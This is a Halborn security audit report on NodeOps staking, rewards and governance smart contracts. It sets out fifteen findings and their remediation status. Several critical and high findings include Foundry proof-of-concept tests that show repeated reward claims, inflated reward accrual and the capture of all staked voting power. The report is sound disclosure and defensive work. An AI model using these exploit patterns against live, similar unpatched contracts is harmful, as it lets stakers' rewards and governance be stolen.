Prepared by:
HALBORN
Last Updated 01/28/2025
Date of Engagement: January 3rd, 2025 - January 6th, 2025
100% of all REPORTED Findings have been addressed
All findings
15
Critical
2
High
4
Medium
0
Low
1
Informational
8
NodeOps
engaged Halborn
to conduct a security assessment on their smart contracts beginning on January 3rd, 2025 and ending on January 6th, 2025. The security assessment was scoped to the smart contracts provided to Halborn
. Commit hashes and further details can be found in the Scope section of this report.
The NodeOps codebase in scope consist of 9 different smart contracts
The RewardsManager.sol
and RewardsManagerStorage.sol
are responsible for distributing rewards
The NODE.sol
contract is a custom ERC20 token with some minting restrictions
The Roles.sol
contract contains the roles that are used for access control within the project.
The BasePool.sol
, PoolBeacon.sol
and PoolFactory.sol
are responsible for deploying and managing pools.
The StakingContract.sol
allows users to stake the NODE.sol
ERC20 token, and in return receive rewards.
The RevenueVault.sol
contract allows the developers to allocate additional rewards for stakers.
Halborn
was provided 2 days for the engagement and assigned 1 full-time security engineer to review the security of the smart contracts in scope. The engineer is a blockchain and smart contract security expert with advanced smart contract hacking skills, and deep knowledge of multiple blockchain protocols.
The purpose of the assessment is to:
Identify potential security issues within the smart contracts.
Ensure that smart contract functionality operates as intended.
In summary, Halborn identified some improvements to reduce the likelihood and impact of risks, which were mostly addressed by the NodeOps team
. The main ones are the following:
Consider setting the staker.lastStakedEpoch = epochId in the claimRewards() function.
When calculating the reward parameter in the _updateRewards function, don't add staker.rewards to it, or when adding the new value to staker.rewards, don't add reward, make staker.rewards = reward.
Consider utilizing something similar to the MasterChef or Synthetix staking contract mechanisms.
Consider using < rather than <= in the _calcualteRewards() function.
Add unit and E2E tests.
Halborn
performed a combination of manual review of the code and automated security testing to balance efficiency, timeliness, and accuracy in regard to the scope of this assessment. While manual testing is recommended to uncover flaws in logic, process, and implementation; automated testing techniques help enhance coverage of smart contracts and can quickly identify items that do not follow security best practices.
The following phases and associated tools were used throughout the term of the assessment:
Research into architecture, purpose and use of the platform.
Smart contract manual code review and walkthrough to identify any logic issue.
Thorough assessment of safety and usage of critical Solidity variables and functions in scope that could lead to arithmetic related vulnerabilities.
Local testing with custom scripts (Foundry
).
Fork testing against main networks (Foundry
).
Static analysis of security for scoped contract, and imported functions(Slither
).
EXPLOITABILITY METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Attack Origin (AO) | Arbitrary (AO:A) Specific (AO:S) | 1 0.2 |
Attack Cost (AC) | Low (AC:L) Medium (AC:M) High (AC:H) | 1 0.67 0.33 |
Attack Complexity (AX) | Low (AX:L) Medium (AX:M) High (AX:H) | 1 0.67 0.33 |
IMPACT METRIC () | METRIC VALUE | NUMERICAL VALUE |
---|---|---|
Confidentiality (C) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Integrity (I) | None (I:N) Low (I:L) Medium (I:M) High (I:H) Critical (I:C) | 0 0.25 0.5 0.75 1 |
Availability (A) | None (A:N) Low (A:L) Medium (A:M) High (A:H) Critical (A:C) | 0 0.25 0.5 0.75 1 |
Deposit (D) | None (D:N) Low (D:L) Medium (D:M) High (D:H) Critical (D:C) | 0 0.25 0.5 0.75 1 |
Yield (Y) | None (Y:N) Low (Y:L) Medium (Y:M) High (Y:H) Critical (Y:C) | 0 0.25 0.5 0.75 1 |
SEVERITY COEFFICIENT () | COEFFICIENT VALUE | NUMERICAL VALUE |
---|---|---|
Reversibility () | None (R:N) Partial (R:P) Full (R:F) | 1 0.5 0.25 |
Scope () | Changed (S:C) Unchanged (S:U) | 1.25 1 |
Severity | Score Value Range |
---|---|
Critical | 9 - 10 |
High | 7 - 8.9 |
Medium | 4.5 - 6.9 |
Low | 2 - 4.4 |
Informational | 0 - 1.9 |
Critical
2
High
4
Medium
0
Low
1
Informational
8
Security analysis | Risk level | Remediation Date |
---|---|---|
Users can claim rewards unlimited times | Critical | Solved - 01/10/2025 |
Rewards in the StakingContract are not calculated correctly | Critical | Solved - 01/10/2025 |
Reward allocation in releaseEpoch is incorrect | High | Solved - 01/24/2025 |
The last user to stake or unstake will be delegated the whole voting power | High | Solved - 01/24/2025 |
Users can claim rewards for the last epoch multiple times | High | Solved - 01/24/2025 |
Incorrect update of lastStakedEpoch allows users to claim rewards for more epochs than they should | High | Solved - 01/24/2025 |
Quorum Challenges with High Staking of NODE Governance Tokens | Low | Solved - 01/24/2025 |
Not all limitations are successfully enforced in the withdrawal | Informational | Solved - 01/10/2025 |
Custom errors should be used | Informational | Solved - 01/10/2025 |
The length of a storage array is not cached before loops | Informational | Solved - 01/10/2025 |
A malicious user can abuse the approvals granted to StakingContract | Informational | Acknowledged - 01/10/2025 |
Floating pragma | Informational | Solved - 01/10/2025 |
Insufficient test coverage | Informational | Solved - 01/10/2025 |
Important fields in events are not indexed | Informational | Solved - 01/10/2025 |
Use of memory instead of calldata for an unmodified function argument | Informational | Solved - 01/10/2025 |
//
In the StakingContract.sol
contract, users can stake the NODE.sol
ERC20 token via the stake()
function, and then based on emissions, inflation rates, total stakes and epochs passed can claim rewards. However, a malicious user can claim rewards as many times as he wants, since the staker.lastStakedEpoch
parameter is not updated when a user claims their rewards via the claimRewards()
function.
Let's imagine the following scenario, the below parameters are used in order to better demonstrate the severity of the exploit:
UserA and UserB have both staked 1e18 ERC20 tokens via the stake()
function, when the epochId
= 0
In the releaseEpoch()
function, the emissions
is 0
currentSupply
= 1_000_000e18, baseInflationRate
= 10e18(10%), the inflationEmissions
~ 273e18
rewardsPerUnit
~ 136e18 for epochId
1
The parameters stay the same and 4 more epochs pass, and now epochId
= 5
UserA decides to claim his rewards via the claimRewards()
function, which internally calls the _updateRewards()
function which in turn calls the _calculateRewards()
function:
function _calculateRewards(uint256 epoch, uint256 principle) private view returns (uint256) {
require(epoch <= epochId, "Invalid epoch");
if (principle == 0) {
return 0;
}
uint256 reward;
for (uint256 i = epoch; i <= epochId; i++) {
if (epochInfo[i].totalStaked == 0) {
continue; // Skip this epoch to avoid division by zero
}
reward += (principle * epochInfo[i].rewardsPerToken) / 1e18;
}
return reward;
}
As we can see from the above code snippet, epoch
will be equal to 0, and epochId
will be equal to 5. The totalStaked
for the epoch 0
is 0, so this epoch will be skipped, and then we get reward
= to 5 * 136e18 = 680e18
However staker.lastStakedEpoch
is not updated, and UserA can call the claimRewards()
function immediately afterwards claiming additional 680e18 reward tokens. This results in UserA effectively stealing the rewards of UserB. If there are more stakers, UserA can call the claimRewards()
function as many times as he wishes, effectively stealing all of the rewards.
The following POC demonstrates that malicious users can claim rewards unlimited times:
function test_ClaimRewardsUnlimitedTimes() public {
vm.startPrank(alice);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
vm.stopPrank();
vm.startPrank(bob);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
vm.stopPrank();
vm.startPrank(manager);
stakingContract.releaseEpoch(1);
skip(86_401);
stakingContract.releaseEpoch(2);
skip(86_401);
stakingContract.releaseEpoch(3);
skip(86_401);
stakingContract.releaseEpoch(4);
skip(86_401);
stakingContract.releaseEpoch(5);
skip(86_401);
vm.stopPrank();
vm.startPrank(alice);
console2.log("Balance in the rewards manager contract: ", node.balanceOf(address(rewardsManager)));
console2.log("Alice's balance before claiming rewards: ", node.balanceOf(alice));
stakingContract.claimRewards();
console2.log("Alice's balance after first reward claim: ", node.balanceOf(alice));
stakingContract.claimRewards();
console2.log("Alice's balance after second reward claim: ", node.balanceOf(alice));
console2.log("Balance in the rewards manager contract: ", node.balanceOf(address(rewardsManager)));
vm.stopPrank();
}
Consider setting the staker.lastStakedEpoch = epochId
in the claimRewards()
function.
SOLVED: The vulnerability described in this issue was fixed, however by fixing it the protocol introduced another vulnerability described in Incorrect update of lastStakedEpoch allows users to claim rewards for more epochs than they should
.
//
The StakingContract.sol
contract allows users to stake ERC20 tokens via the stake()
function, and based on their stake, emissions,epochs passed and the total staked amount they are supposed to receive a certain amount of rewards.
Let's imagine the following scenario, the below parameters are used in order to better demonstrate the severity of the exploit:
UserA and UserB have both staked 1e18 ERC20 tokens via the stake()
function, when the epochId
= 0
In the releaseEpoch()
function the emissions
is 0
currentSupply
= 1_000_000e18, baseInflationRate
= 10e18(10%), the inflationEmissions
~ 273e18
rewardsPerUnit
is ~ 136e18 for epochId
1
Now UserA calls the unstake()
function, and unstakes 1 WEI
The unstake() function internally calls the _updateRewards() function:
function _updateRewards(StakerInfo storage staker) private {
uint256 reward = staker.rewards + _calculateRewards(staker.lastStakedEpoch, staker.stakedBalance);
if (reward > 0) {
staker.rewards += reward;
}
}
The _updateRewards()
function in turn calls the _calculateRewards()
function:
function _calculateRewards(uint256 epoch, uint256 principle) private view returns (uint256) {
require(epoch <= epochId, "Invalid epoch");
if (principle == 0) {
return 0;
}
uint256 reward;
for (uint256 i = epoch; i <= epochId; i++) {
if (epochInfo[i].totalStaked == 0) {
continue; // Skip this epoch to avoid division by zero
}
reward += (principle * epochInfo[i].rewardsPerToken) / 1e18;
}
return reward;
}
As can be seen from the implementation of the _updateRewards()
function, the staker.rewards
is added when the reaward
is calculated, and later on the whole reward is added once more to the staker.rewards
staker.rewards
for UserA will be ~136e18
Now one more epoch passes, and the params are the same (the 1 WEI that was unstaked is ignored for easier calculations),the rewardsPerUnit
is ~ 136e18 for epochId
2
Now when UserA calls the unstake()
function again, the calculated reward will be as follows reward = 136e18 + 136e18, then staker.rewards
will be 136e18 + 272e18 = 408e18
UserA effectively steals rewards from UserB. The more users and more epochs the rewards a malicious user can steal utilizing this exploit.
function test_RewardCalculation() public {
vm.startPrank(alice);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
vm.stopPrank();
vm.startPrank(bob);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
vm.stopPrank();
vm.startPrank(manager);
stakingContract.releaseEpoch(1);
skip(86_401);
vm.stopPrank();
vm.startPrank(alice);
stakingContract.unstake(1);
uint256 aliceRewards1 = stakingContract.getUserRewards(alice);
console2.log("Alice's expected rewards divided by 1e18: ", aliceRewards1 / 1e18);
vm.stopPrank();
vm.startPrank(manager);
stakingContract.releaseEpoch(2);
skip(86_401);
vm.stopPrank();
vm.startPrank(alice);
stakingContract.unstake(1);
uint256 aliceRewards = stakingContract.getUserRewards(alice);
uint256 actualRewards = node.balanceOf(address(rewardsManager));
/// @notice due to the way rewards are calculated in the getUserRewards
/// return staker.rewards + _calculateRewards(staker.lastStakedEpoch, staker.stakedBalance);
/// it returns ~821e18, however the real amount is ~410e18
console2.log("Alice's expected rewards divided by 1e18: ", aliceRewards / 1e18);
console2.log("Actual rewards minted to the rewards manager divided by 1e18: ", actualRewards / 1e18);
vm.stopPrank();
}
When calculating the reward
parameter in the _updateRewards
function don't add staker.rewards
to it, or when adding the new value to staker.rewards
don't add reward
, make staker.rewards = reward
.
SOLVED: The NodeOps team followed the recommendation and successfully resolved the issue.
//
In the StakingContract.sol
contract, reward calculation relies on emissions
+ inflationEmissions
and divides it by the totalStaked
amount. totalStaked
is increased only when users stake via the stake()
function. The initial epochId
is 0, so users first have to stake for epochId
0, if they don't releaseEpoch()
function will always revert due to division by 0 error and then rewards will be distributed for epochId
1.
Let's imagine the following scenario, the below parameters are used in order to better demonstrate the severity of the exploit:
UserA staked 0.001e18 ERC20 tokens via the stake()
function, when the epochId
= 0, and he is the only staker
In the releaseEpoch()
function the emissions
is 0
currentSupply
= 1_000_000e18, baseInflationRate
= 10e18 (10%), the inflationEmissions
~ 273e18
rewardsPerUnit
will be 273e18 * 1e18 / 0.001e18 ~ 273_972e18 for epochId
1, this is many more rewards that would be actually minted.
Now when users stake they will stake for epochId
1, if for example, UserB stakes 1e18 tokens, his reward for epochId
1 will be 273_972e18, which is much more than the rewards that were minted, and with time he will be able to steal a big portion of the rewards that should be allocated to other users.
This discrepancy can either allow a malicious user to withdraw much more rewards if they are accumulated with time, or will brick non-malicious stakers as the RewardsManager.sol
contract simply doesn't have enough rewards to transfer when a user tries to claim rewards via the claimReward()
function.
function test_RewardAllocation() public {
vm.startPrank(alice);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(0.001e18);
vm.stopPrank();
vm.startPrank(manager);
stakingContract.releaseEpoch(1);
skip(86_401);
vm.stopPrank();
vm.startPrank(bob);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
uint256 bobRewards = stakingContract.getUserRewards(bob);
uint256 actualRewards = node.balanceOf(address(rewardsManager));
console2.log("Bob expected rewards divided by 1e18: ", bobRewards / 1e18);
console2.log("Actual rewards minted to the rewards manager divided by 1e18: ", actualRewards / 1e18);
vm.stopPrank();
}
There are a lot of discrepancies in the StakingContract.sol
contract, consider rewriting the whole mechanism following the algorithms of the MasterChef or Synthetix staking contract: https://www.rareskills.io/post/staking-algorithm.
SOLVED: The NodeOps team has successfully resolved the issue.
//
The StakingContract.sol
allows users to stake NODE.sol
ERC20 tokens which is a governance token. However each time a user calls the stake()
or unstake()
functions the voting power of all the NODE.sol tokens that are currently staked into the StakingContract.sol
will be transferred to the user, no matter what amount he stakes or unstakes, as can be seen from the below code snippet:
function stake(uint256 amount) external nonReentrant whenNotPaused {
if (amount == 0) {
revert CommonErrors.InvalidInput();
}
StakerInfo storage staker = stakers[msg.sender];
if (staker.lastStakedEpoch > 0) {
_updateRewards(staker);
}
else {
_stakerList.add(msg.sender);
}
staker.stakedBalance += amount;
totalStaked += amount;
_addLSTRequest(amount, msg.sender);
// Delegate voting power to the staker
ERC20Votes(token).delegate(msg.sender);
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
This represents a big problem as a lot of users are expected to stake their NODE.sol
ERC20 tokens in the StakingContract.sol
, as they are incentivized to do so, and a single user can acquire all of that voting power just by staking 1 WEI, and thus propose and pass governance votes that are in his favor, but not in favor of the community.
The following POC demonstrates that a malicious user can acquire all of the voting power associated with the NODE.sol
ER20 tokens currently staked in the StakingContract.sol
:
function test_DelegatingTooMuch() public {
vm.startPrank(alice);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
console2.log("Alice's voting power: ", node.getVotes(alice));
vm.stopPrank();
vm.startPrank(bob);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
console2.log("Alice's voting power: ", node.getVotes(alice));
console2.log("Bob's voting power: ", node.getVotes(bob));
vm.stopPrank();
}
Consider implementing a functionality which delegates voting power to users proportional to the amount that they stake.
SOLVED: The NodeOps team has successfully resolved the issue.
//
In the StakingContract.sol
contract, users can stake tokens, and receive rewards for each epochId
they have staked for. However when the rewards that a user should receive are calculated, the last epochId
is taken into consideration always as can be seen from the _calculateRewards()
function:
function _calculateRewards(uint256 epoch, uint256 principle) private view returns (uint256) {
require(epoch <= epochId, "Invalid epoch");
if (principle == 0) {
return 0;
}
uint256 reward;
for (uint256 i = epoch; i <= epochId; i++) {
if (epochInfo[i].totalStaked == 0) {
continue; // Skip this epoch to avoid division by zero
}
reward += (principle * epochInfo[i].rewardsPerToken) / 1e18;
}
return reward;
}
This way even if all other vulnerabilities within the contract are fixed, a malicious user can call the claimRewards()
function multiple times, and claim rewards for the last epochId
as many times as he wants. This effectively results in a malicious user stealing rewards from other users. The more epochs and user stakes the more severe this attack vector becomes.
function test_ClaimLastEpoch() public {
/// @notice in order to run this test you have to add the following line in the claimRewards() function after staker.rewards = 0;
/// staker.lastStakedEpoch = epochId; this fixes a vulnerability demonstrated in the test_ClaimRewardsUnlimitedTimes
/// in the _updateRewards() function change to the following
/// uint256 reward = _calculateRewards(staker.lastStakedEpoch, staker.stakedBalance);
vm.startPrank(alice);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
vm.stopPrank();
vm.startPrank(bob);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
vm.stopPrank();
vm.startPrank(manager);
stakingContract.releaseEpoch(1);
skip(86_401);
vm.stopPrank();
vm.startPrank(alice);
console2.log("Balance in the rewards manager contract: ", node.balanceOf(address(rewardsManager)));
console2.log("Alice's balance before claiming rewards: ", node.balanceOf(alice));
stakingContract.claimRewards();
console2.log("Alice's balance after first reward claim: ", node.balanceOf(alice));
stakingContract.claimRewards();
console2.log("Alice's balance after second reward claim: ", node.balanceOf(alice));
console2.log("Balance in the rewards manager contract: ", node.balanceOf(address(rewardsManager)));
vm.stopPrank();
}
You can consider using only <
rather than <=
in the _calculateRewards()
function, however as I have mentioned in a previous finding there are a lot of discrepancies in the StakingContract.sol
contract, consider rewriting the whole mechanism following the algorithms of the MasterChef or Synthetix staking contract: https://www.rareskills.io/post/staking-algorithm
SOLVED: The NodeOps team has successfully resolved the issue.
//
In the StakingContract.sol
contract, users can stake the NODE.sol
ERC20 token via the stake()
function, and then based on emissions, inflation rates, total stakes and epochs passed can claim rewards. A trusted role can also create a stake for a certain user via the delegatedStake()
function. However the lastStakedEpoch
won't be updated because it will always be 0 for a new unique address.
function stake(uint256 amount) external nonReentrant whenNotPaused {
if (amount == 0) {
revert CommonErrors.InvalidInput();
}
StakerInfo storage staker = stakers[msg.sender];
if (staker.lastStakedEpoch > 0) {
_updateRewards(staker);
}
else {
_stakerList.add(msg.sender);
}
staker.stakedBalance += amount;
totalStaked += amount;
_addLSTRequest(amount, msg.sender);
// Delegate voting power to the staker
ERC20Votes(token).delegate(msg.sender);
IERC20(token).safeTransferFrom(msg.sender, address(this), amount);
emit Staked(msg.sender, amount);
}
As can be seen from the above code snippet, the _updateRewards()
function, which is responsible for updating the lastStakedEpoch
for each user and calculating the rewards is only called if the current staker.lastStakedEpoch
is bigger than 0. This will allow users to claim rewards from the 0th epoch until the last epoch no matter when they stake. This effectively results in users that stake at a later time stealing rewards from users who staked earlier.
The following POC demonstrates that users can claim rewards starting from the 0th epoch, no matter when they deposited:
function test_AllowStakersToWithdrawRewardsFromTheZeroethEpoch() public {
vm.startPrank(alice);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
vm.stopPrank();
vm.startPrank(bob);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
vm.stopPrank();
vm.startPrank(manager);
stakingContract.releaseEpoch(1);
skip(86_401);
stakingContract.releaseEpoch(2);
skip(86_401);
stakingContract.releaseEpoch(3);
skip(86_401);
stakingContract.releaseEpoch(4);
skip(86_401);
stakingContract.releaseEpoch(5);
skip(86_401);
vm.stopPrank();
vm.startPrank(tom);
node.approve(address(stakingContract), type(uint256).max);
stakingContract.stake(1e18);
vm.stopPrank();
vm.startPrank(manager);
stakingContract.releaseEpoch(6);
skip(86_401);
vm.stopPrank();
vm.startPrank(alice);
console2.log("Alice's balance before claiming rewards divided by 1e18: ", node.balanceOf(alice) / 1e18);
stakingContract.claimRewards();
console2.log("Alice's balance after claiming rewards divided by 1e18: ", node.balanceOf(alice) / 1e18);
vm.stopPrank();
vm.startPrank(tom);
console2.log("Tom's balance before claiming rewards divided by 1e18: ", node.balanceOf(tom) / 1e18);
stakingContract.claimRewards();
console2.log("Tom's balance after claiming rewards divided by 1e18: ", node.balanceOf(tom) / 1e18);
console2.log("Rewards left in the rewards manager contract divided by 1e18: ", node.balanceOf(address(rewardsManager)) / 1e18);
uint256 bobRewards = stakingContract.getUserRewards(bob);
console2.log("Bob's expected rewards divided by 1e18 divided by 1e18: ", bobRewards / 1e18);
vm.stopPrank();
}
Consider updating the lastStakedEpoch
directly in the stake()
and delegateStake()
functions.
SOLVED: The NodeOps team has successfully resolved the issue.
//
The NODE
ERC20 token is a governance token, and is the token which is staked in the StakingContract.sol
contract. The max supply of the token is 1_000_000_000e18
, depending on the quorum requirements if a big portion of the token is staked, quorum won't be reached in the upcoming governance proposals, as the staked tokens don't delegate the voting rights to anyone, and the NODE
tokens that are deposited in the StakingContract.sol
contract are not utilized in any way.
Consider delegating the voting rights associated with the Node tokens to the user that stakes the tokens.
SOLVED: The NodeOps team has successfully resolved the issue.
//
In the RevenueVault.sol
contract, the withdraw()
function has certain limitations for the amount of withdraws that should be possible for a certain time period, however not all of this limitations are enforced efficiently:
function withdraw(address token, uint256 amount) external onlyRole(Roles.BENEFICIARY_ROLE) whenNotPaused nonReentrant {
require(_whitelistedTokens.contains(token), "Token not whitelisted");
uint256 currentTimestamp = block.timestamp;
uint256 lastTimestamp = lastWithdrawalTimestamp[msg.sender];
// Enforce cooldown period between withdrawalsf
require(currentTimestamp >= lastTimestamp + cooldownPeriod, "Cooldown period not yet passed");
require(amount <= dailyWithdrawalLimits[token], "Amount exceeds daily withdrawal limit");
// Check available balance
uint256 balance = IERC20(token).balanceOf(address(this));
require(amount <= balance, "Amount exceeds token balance");
// Update last withdrawal timestamp
lastWithdrawalTimestamp[msg.sender] = currentTimestamp;
withdrawals[msg.sender] += amount;
// Transfer tokens
IERC20(token).safeTransfer(msg.sender, amount);
emit Withdraw(msg.sender, token, amount);
}
As can be seen from the above code snippet the dailyWithdrawLimit
is not enforced efficiently, if the Roles.BENEFICIARY_ROLE
is compromised a malicious user can withdraw the daily limit multiple times during the day.
Effectively enforce the daily limit withdraw.
SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.
//
In Solidity smart contract development, replacing hard-coded revert message strings with the Error()
syntax is an optimization strategy that can significantly reduce gas costs. Hard-coded strings, stored on the blockchain, increase the size and cost of deploying and executing contracts.
The Error()
syntax allows for the definition of reusable, parameterized custom errors, leading to a more efficient use of storage and reduced gas consumption. This approach not only optimizes gas usage during deployment and interaction with the contract but also enhances code maintainability and readability by providing clearer, context-specific error information.
It is recommended to replace hard-coded revert strings in require
statements for custom errors, which can be done following the logic below.
1. Standard require statement (to be replaced):
require(condition, "Condition not met");
2. Declare the error definition to state
error ConditionNotMet();
3. As currently is not possible to use custom errors in combination with require
statements, the standard syntax is:
if (!condition) revert ConditionNotMet();
More information about this topic in [Official Solidity Documentation](https://docs.soliditylang.org/en/v0.8.24/control-structures.html#panic-via-assert-and-error-via-require).
SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.
//
In the StakingContract.sol
cotntract, the withdraw()
function loops trough all of the unstake request a user has made, and then withdraws the tokens from each request where the unstakeTime
is less than the current block.timestamp
. However the length of the requests
array is not cached before all request are looped trough. This increases the gas consumed by the withdraw()
function. The function itself may consume a lot of gas, depending on how much requests it has too loop trough, however the protocol has specified that they intend to deploy the protocol on Arbitrum where gas limits are much larger than most chains, and this shouldn't be a problem. However users should be warned to not create an excessive amount of unstake request, before they process the ones the can already process.
Consider caching the length of the requests
array, before you loop over it.
SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.
//
Users typically approve contracts in which they have to deposit ERC20 tokens for the uint256 max amount, so they only have to approve the contract once. It is highly possible that when users want to interact with the StakingContract.sol
contract and stake tokens via the stake()
function, they approve the StakingContract.sol
for the uint256 max value. However in the delegateStake()
function a malicious user can stake tokens on behalf of a user who has approved the StakingContract.sol
contract.
function delegatedStake(address user, uint256 amount) external onlyRole(Roles.BENEFICIARY_ROLE) whenNotPaused {
StakerInfo storage staker = stakers[user];
if (staker.lastStakedEpoch > 0) {
_updateRewards(staker);
}
staker.stakedBalance += amount;
totalStaked += amount;
staker.lastStakedEpoch = epochId;
_addLSTRequest(amount, user);
IERC20(token).safeTransferFrom(user, address(this), amount);
emit Staked(user, amount);
}
As can be seen from the above code snippet the delegateStake()
function is permissioned function, however if the Roles.BENEFICIARY_ROLE
is compromised the delegateStake()
function can be called for any user, and if that user has approved the StakingContract.sol
for a big amount, those tokens will be staked in the contract immediately. In order for the user to withdraw his tokens he has to first call the unstake()
function, and then wait a certain cooldownPeriod
, and then freely withdraw his tokens. However the cooldownPeriod
can be 1 day, or much bigger.
In the delegateStake()
function, when transfering tokens to the StakingContract.sol
contract, consider transfering them from the msg.sender not the user
ACKNOWLEDGED: The NodeOps team has acknowledged the issue, but they don't intend to implement any changes.
//
All contracts in scope currently use floating pragma versions ^0.8.26
which means that the code can be compiled by any compiler version that is greater than or equal to 0.8.26
, and less than 0.9.0
.
However, it is recommended that contracts should be deployed with the same compiler version and flags used during development and testing. Locking the pragma helps to ensure that contracts do not accidentally get deployed using another pragma. For example, an outdated pragma version might introduce bugs that affect the contract system negatively.
In this aspect, it is crucial to select the appropriate EVM version when it's intended to deploy the contracts on networks other than the Ethereum mainnet, which may not support these opcodes. Failure to do so could lead to unsuccessful contract deployments or transaction execution issues.
Lock the pragma version to the same version used during development and testing. Additionally, make sure to specify the target EVM version when using Solidity versions from 0.8.20
and above if deploying to chains that may not support newly introduced opcodes. Additionally, it is crucial to stay informed about the opcode support of different chains to ensure smooth deployment and compatibility.
SOLVED: The NodeOps team has followed the recommendation and successfully resolved the issue.
//
The project lacks unit and E2E tests. It is always a good practice to implement unit tests and E2E tests, as it helps discovering vulnerabilities in the early stages of development, and later on it helps with maintaining and updating the code base.
Consider adding unit and E2E tests to the project.
SOLVED: The NodeOps team has added a test suite.
//
None of the important fields in the events emitted in the BasePool.sol
contract and the StakingContract.sol
contract are indexed.
Index the appropriate fields in the events that are emitted in the StakingContract.sol
and BasePool.sol
contracts.
SOLVED: The NodeOps team has followed the recommendation and indexed the important fields in events.
//
In the BasePool.sol
contract in the updateRewardsPool()
function, the memory keyword is used for a parameters which are not modified instead of the calldata keyword.
Consider using the calldata keyword instead of the memory for function arguments which are not modified.
SOLVED: The NodeOps team has followed the recommendation and mitigated the issue.
Halborn
used automated testing techniques to enhance the coverage of certain areas of the smart contracts in scope. Among the tools used was Slither, a Solidity static analysis framework. After Halborn
verified the smart contracts in the repository and was able to compile them correctly into their abis and binary format, Slither was run against the contract. This tool can statically verify mathematical relationships between Solidity variables to detect invalid or inconsistent usage of the contracts' APIs across the entire code-base.
The security team assessed all findings identified by the Slither software, however, most of the findings are not included in the below results for the sake of report readability.
The findings obtained as a result of the Slither scan were reviewed, and the majority were not included in the report because they were determined as false positives.
Halborn strongly recommends conducting a follow-up assessment of the project either within six months or immediately following any material changes to the codebase, whichever comes first. This approach is crucial for maintaining the project’s integrity and addressing potential vulnerabilities introduced by code modifications.
// Download the full report
* Use Google Chrome for best results
** Check "Background Graphics" in the print settings if needed